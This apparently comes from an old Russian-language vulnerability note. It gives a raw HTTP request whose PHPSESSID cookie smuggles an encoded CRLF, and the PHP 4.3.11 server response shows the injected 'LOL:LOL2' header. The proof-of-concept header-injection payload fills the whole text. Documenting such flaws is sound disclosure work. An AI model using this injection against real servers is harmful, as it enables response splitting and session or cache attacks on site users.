GET /index.php HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (MSIE 6.0; Windows NT 5.0
Host: localhost
Cookie: PHPSESSID=%0d%0aLOL%3ALOL2
Connection: Close
Pragma: no-cache


вернет ответ сервера
HTTP/1.1 200 OK
Date:Tue, 22 Aug 2006 07:54:28 GMT
Server:Apache/1.3.33-Pool-060606.1 (Win32) PHP/4.3.11
X-Powered-By:PHP/4.3.11
Expires:Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0
LOL:LOL2
Pragma:no-cache
Content-Type:text/html
Connection:close